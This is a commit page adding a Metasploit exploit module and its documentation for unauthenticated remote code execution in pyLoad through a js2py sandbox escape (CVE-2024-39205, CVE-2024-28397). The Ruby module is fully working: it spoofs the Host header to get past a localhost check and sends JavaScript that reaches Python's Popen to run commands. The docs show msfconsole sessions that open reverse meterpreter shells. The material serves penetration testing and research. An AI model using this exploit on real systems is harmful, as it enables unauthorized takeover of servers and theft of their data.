Skip to content

Commit d2ef3cb

Browse files
committed
Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)
1 parent 8813265 commit d2ef3cb

File tree

2 files changed

+323
-0
lines changed

2 files changed

+323
-0
lines changed
Lines changed: 147 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,147 @@
1+
## Vulnerable Application
2+
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
3+
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
4+
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
5+
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
6+
is the latest version of js2py which was released Nov 6, 2022.
7+
8+
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
9+
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
10+
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
11+
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
12+
can bypass this restriction in order to access the API to achieve unauth RCE.
13+
14+
## Verification Steps
15+
16+
1. Start a vulnerable instance of pyLoad using docker
17+
2. Start msfconsole
18+
3. Run: `use exploit/linux/http/pyload_js2py_cve_2024_39205`
19+
4. Set the `RHOST`, `LHOST` `PAYLOAD` and payload associated options
20+
5. Run: `run`
21+
22+
### Docker Setup
23+
24+
```
25+
docker run -d \
26+
--name=pyload-ng \
27+
-e PUID=1000 \
28+
-e PGID=1000 \
29+
-e TZ=Etc/UTC \
30+
-p 8000:8000 \
31+
-p 9666:9666 \
32+
--restart unless-stopped \
33+
lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
34+
```
35+
36+
## Scenarios
37+
### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74)
38+
```
39+
msf6 > use linux/http/pyload_js2py_cve_2024_39205
40+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
41+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
42+
rhost => 127.0.0.1
43+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
44+
lhost => 172.16.199.1
45+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > options
46+
47+
Module options (exploit/linux/http/pyload_js2py_cve_2024_39205):
48+
49+
Name Current Setting Required Description
50+
---- --------------- -------- -----------
51+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
52+
RHOSTS 127.0.0.1 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
53+
RPORT 9666 yes The target port (TCP)
54+
SSL false no Negotiate SSL/TLS for outgoing connections
55+
SSLCert no Path to a custom SSL certificate (default is randomly generated)
56+
TARGETURI / yes Base path
57+
URIPATH no The URI to use for this exploit (default is random)
58+
VHOST no HTTP server virtual host
59+
60+
61+
When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:
62+
63+
Name Current Setting Required Description
64+
---- --------------- -------- -----------
65+
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
66+
SRVPORT 8080 yes The local port to listen on.
67+
68+
69+
Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):
70+
71+
Name Current Setting Required Description
72+
---- --------------- -------- -----------
73+
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
74+
FETCH_DELETE false yes Attempt to delete the binary after execution
75+
FETCH_FILENAME FTdcATmGGDpa no Name to use on remote system when storing payload; cannot contain spaces or slashes
76+
FETCH_SRVHOST no Local IP to use for serving payload
77+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
78+
FETCH_URIPATH no Local URI to use for serving payload
79+
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
80+
LHOST 172.16.199.1 yes The listen address (an interface may be specified)
81+
LPORT 4444 yes The listen port
82+
83+
84+
Exploit target:
85+
86+
Id Name
87+
-- ----
88+
0 Unix Command
89+
90+
91+
92+
View the full module info with the info, or info -d command.
93+
94+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
95+
96+
[*] Started reverse TCP handler on 172.16.199.1:4444
97+
[*] Running automatic check ("set AutoCheck false" to disable)
98+
[+] The target is vulnerable. Successfully tested command injection.
99+
[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
100+
[*] Sending stage (3045380 bytes) to 172.16.199.1
101+
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800
102+
103+
meterpreter > getruid
104+
[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details.
105+
meterpreter > getuid
106+
Server username: abc
107+
meterpreter > sysinfo
108+
Computer : 172.17.0.2
109+
OS : (Linux 6.10.11-linuxkit)
110+
Architecture : x64
111+
BuildTuple : x86_64-linux-musl
112+
Meterpreter : x64/linux
113+
meterpreter >
114+
```
115+
116+
### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74)
117+
```
118+
msf6 > use linux/http/pyload_js2py_cve_2024_39205
119+
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
120+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
121+
rhost => 127.0.0.1
122+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
123+
lhost => 172.16.199.1
124+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1
125+
target => 1
126+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp
127+
payload => linux/x64/meterpreter/reverse_tcp
128+
msf6 exploit(linux/http/pyload_js2py_cve_2024_39205) > run
129+
130+
[*] Started reverse TCP handler on 172.16.199.1:4444
131+
[*] Running automatic check ("set AutoCheck false" to disable)
132+
[+] The target is vulnerable. Successfully tested command injection.
133+
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
134+
[*] Sending stage (3045380 bytes) to 172.16.199.1
135+
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56088) at 2024-11-12 15:48:42 -0800
136+
[*] Command Stager progress - 100.00% done (823/823 bytes)
137+
138+
meterpreter > getuid
139+
Server username: abc
140+
meterpreter > sysinfo
141+
Computer : 172.17.0.2
142+
OS : (Linux 6.10.11-linuxkit)
143+
Architecture : x64
144+
BuildTuple : x86_64-linux-musl
145+
Meterpreter : x64/linux
146+
meterpreter >
147+
```
Lines changed: 176 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,176 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'rex/stopwatch'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
10+
Rank = ExcellentRanking
11+
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
include Msf::Exploit::Remote::HttpClient
14+
include Msf::Exploit::CmdStager
15+
16+
def initialize(info = {})
17+
super(
18+
update_info(
19+
info,
20+
'Name' => 'Pyload RCE (CVE-2024-39205) with js2py sandbox escape (CVE-2024-28397)',
21+
'Description' => %q{
22+
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
23+
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
24+
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
25+
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
26+
is the latest version of js2py which was released Nov 6, 2022.
27+
28+
CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
29+
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
30+
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
31+
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
32+
can bypass this restriction in order to access the API to achieve unauth RCE.
33+
},
34+
'Author' => [
35+
'Marven11', # PoC
36+
'Spencer McIntyre', # Previous pyLoad module which this is based on
37+
'jheysel-r7' # Metasploit module
38+
],
39+
'References' => [
40+
[ 'CVE', '2024-39205' ],
41+
[ 'CVE', '2024-28397' ],
42+
[ 'URL', 'https://github.com/Marven11/CVE-2024-39205-Pyload-RCE' ],
43+
[ 'URL', 'https://github.com/pyload/pyload/security/advisories/GHSA-w7hq-f2pj-c53g' ],
44+
[ 'URL', 'https://github.com/Marven11/CVE-2024-28397-js2py-Sandbox-Escape' ],
45+
],
46+
'DisclosureDate' => '2024-10-28',
47+
'License' => MSF_LICENSE,
48+
'Platform' => %w[unix linux],
49+
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
50+
'Privileged' => true,
51+
'Targets' => [
52+
[
53+
'Unix Command',
54+
{
55+
'Platform' => %w[unix linux],
56+
'Arch' => ARCH_CMD,
57+
'Type' => :unix_cmd
58+
}
59+
],
60+
[
61+
'Linux Dropper',
62+
{
63+
'Platform' => 'linux',
64+
'Arch' => [ARCH_X86, ARCH_X64],
65+
'Type' => :linux_dropper
66+
}
67+
],
68+
],
69+
'DefaultTarget' => 0,
70+
'Notes' => {
71+
'Stability' => [CRASH_SAFE],
72+
'Reliability' => [REPEATABLE_SESSION],
73+
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
74+
}
75+
)
76+
)
77+
78+
register_options([
79+
Opt::RPORT(9666),
80+
OptString.new('TARGETURI', [true, 'Base path', '/'])
81+
])
82+
end
83+
84+
def check
85+
sleep_time = rand(5..10)
86+
87+
_, elapsed_time = Rex::Stopwatch.elapsed_time do
88+
execute_command("sleep #{sleep_time}")
89+
end
90+
91+
vprint_status("Elapsed time: #{elapsed_time} seconds")
92+
93+
unless elapsed_time > sleep_time
94+
return CheckCode::Safe('Failed to test command injection.')
95+
end
96+
97+
CheckCode::Vulnerable('Successfully tested command injection.')
98+
rescue Msf::Exploit::Failed
99+
return CheckCode::Safe('Failed to test command injection.')
100+
end
101+
102+
def exploit
103+
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
104+
105+
case target['Type']
106+
when :unix_cmd
107+
if execute_command(payload.encoded)
108+
print_good("Successfully executed command: #{payload.encoded}")
109+
end
110+
when :linux_dropper
111+
execute_cmdstager
112+
end
113+
end
114+
115+
def javascript_payload(cmd)
116+
keys = %i[command hacked bymarve n11 getattr obj findpopen result item]
117+
js_vars = keys.each_with_object({}) do |key, hash|
118+
hash[key] = Rex::Text.rand_text_alpha(8..16)
119+
end
120+
121+
<<~EOS
122+
let #{js_vars[:command]} = "#{cmd}"
123+
let #{js_vars[:hacked]}, #{js_vars[:bymarve]}, #{js_vars[:n11]}
124+
let #{js_vars[:getattr]}, #{js_vars[:obj]}
125+
126+
#{js_vars[:hacked]} = Object.getOwnPropertyNames({})
127+
#{js_vars[:bymarve]} = #{js_vars[:hacked]}.__getattribute__
128+
#{js_vars[:n11]} = #{js_vars[:bymarve]}("__getattribute__")
129+
#{js_vars[:obj]} = #{js_vars[:n11]}("__class__").__base__
130+
#{js_vars[:getattr]} = #{js_vars[:obj]}.__getattribute__
131+
132+
function #{js_vars[:findpopen]}(o) {
133+
let #{js_vars[:result]};
134+
for(let i in o.__subclasses__()) {
135+
let #{js_vars[:item]} = o.__subclasses__()[i]
136+
if(#{js_vars[:item]}.__module__ == "subprocess" && #{js_vars[:item]}.__name__ == "Popen") {
137+
return #{js_vars[:item]}
138+
}
139+
if(#{js_vars[:item]}.__name__ != "type" && (#{js_vars[:result]} = #{js_vars[:findpopen]}(#{js_vars[:item]}))) {
140+
return #{js_vars[:result]}
141+
}
142+
}
143+
}
144+
145+
#{js_vars[:n11]} = #{js_vars[:findpopen]}(#{js_vars[:obj]})(#{js_vars[:command]}, -1, null, -1, -1, -1, null, null, true).communicate()
146+
console.log(#{js_vars[:n11]})
147+
function f() {
148+
return #{js_vars[:n11]}
149+
}
150+
EOS
151+
end
152+
153+
def execute_command(cmd, _opts = {})
154+
vprint_status("Executing command: #{cmd}")
155+
crypted_b64 = Rex::Text.encode_base64(rand(4))
156+
157+
res = send_request_cgi(
158+
'method' => 'POST',
159+
'headers' => {
160+
'Host' => "127.0.0.1:#{datastore['RPORT']}"
161+
},
162+
'uri' => normalize_uri(target_uri.path, 'flash', 'addcrypted2'),
163+
'vars_post' => {
164+
'crypted' => crypted_b64,
165+
'jk' => javascript_payload(cmd)
166+
}
167+
)
168+
169+
# The command will either cause the response to timeout or return a 500
170+
return if res.nil?
171+
return if res.code == 500 && res.body =~ /Could not decrypt key/
172+
173+
fail_with(Failure::UnexpectedReply, "The HTTP server replied with a status of #{res.code}")
174+
end
175+
176+
end

0 commit comments

Comments
 (0)